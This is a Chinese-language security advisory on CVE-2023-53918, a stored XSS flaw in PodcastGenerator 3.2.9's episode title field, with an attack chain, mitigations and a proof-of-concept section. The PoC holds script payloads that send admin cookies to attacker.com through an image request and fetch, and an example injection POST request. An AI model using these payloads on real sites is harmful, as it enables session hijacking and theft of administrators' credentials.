IPBUF安全漏洞报告
English
CVE-2023-53918 CVSS 6.1 中危

CVE-2023-53918: PodcastGenerator存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53918
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
PodcastGenerator

相关标签

存储型XSSPodcastGeneratorCVE-2023-53918跨站脚本Web安全内容管理会话劫持

漏洞概述

CVE-2023-53918是PodcastGenerator 3.2.9版本中的一个存储型跨站脚本(Stored Cross-Site Scripting)漏洞。该漏洞存在于播客上传功能中的episode title字段,攻击者可以通过episodes_upload.php接口在episode标题中注入恶意JavaScript代码。由于该输入未经充分过滤和转义,恶意payload会被永久存储在服务器端。当具有管理权限的用户访问episodes_list.php页面查看播客列表时,注入的恶意脚本会自动执行,可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。由于攻击利用需要用户交互(管理员需查看受污染的页面),且攻击范围仅限于单页面上下文,CVSS评分定为6.1(中危)。

技术细节

该漏洞源于PodcastGenerator 3.2.9在处理用户输入时缺乏适当的输入验证和输出编码。具体来说:

1. **漏洞位置**:episodes_upload.php文件中的episode title字段
2. **根本原因**:用户提交的episode标题数据在存储前未进行HTML实体转义(如将<、>、"、'等特殊字符转换为&amp;lt;、&amp;gt;、&amp;quot;、&amp;apos;)
3. **触发条件**:当管理员访问episodes_list.php页面时,之前存储的恶意payload会作为HTML内容直接渲染到页面中
4. **利用影响**:攻击者可利用此漏洞执行任意JavaScript代码,包括但不限于:
- 窃取管理员Cookie和会话令牌
- 伪造管理员操作(如添加删除播客、修改设置)
- 植入钓鱼链接或恶意重定向
- 键盘记录和表单数据捕获
5. **攻击前提**:攻击者需要能够访问episodes_upload.php上传功能,这在某些配置下可能不需要认证即可访问

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标网站使用PodcastGenerator 3.2.9,并定位到episodes_upload.php上传接口
STEP 2
步骤2:恶意payload注入
攻击者通过episodes_upload.php的episode title字段提交包含恶意JavaScript代码的payload,如<script>alert(document.cookie)</script>
STEP 3
步骤3:数据持久化
恶意payload未经充分过滤即存储到数据库中,成为应用的永久组成部分
STEP 4
步骤4:触发执行
管理员访问episodes_list.php查看播客列表时,存储的恶意脚本随页面内容一同返回并在浏览器中执行
STEP 5
步骤5:数据窃取/会话劫持
恶意JavaScript执行后,攻击者可窃取管理员Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2023-53918 PoC: Stored XSS in PodcastGenerator episode title --> <!-- Attack Vector: POST request to episodes_upload.php --> <!-- Method 1: Basic XSS payload --> <script>alert(document.cookie)</script> <!-- Method 2: Cookie stealing payload --> <script> var img = new Image(); img.src = 'http://attacker.com/steal?c=' + document.cookie; </script> <!-- Method 3: Session hijacking payload --> <img src=x onerror="fetch('http://attacker.com/log?data='+btoa(document.cookie))"> <!-- Example POST request --> POST /episodes_upload.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded episodetitle=<script>alert('XSS')</script>&description=test&category=1&submit=Upload

影响范围

PodcastGenerator 3.2.9

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)上配置规则,检测和拦截包含<script>、<img src=x onerror=等XSS特征pattern的请求;同时对episodes_list.php等页面添加DOMPurify等客户端净化库进行二次防护;限制episodes_upload.php的访问权限,仅允许受信任用户上传内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表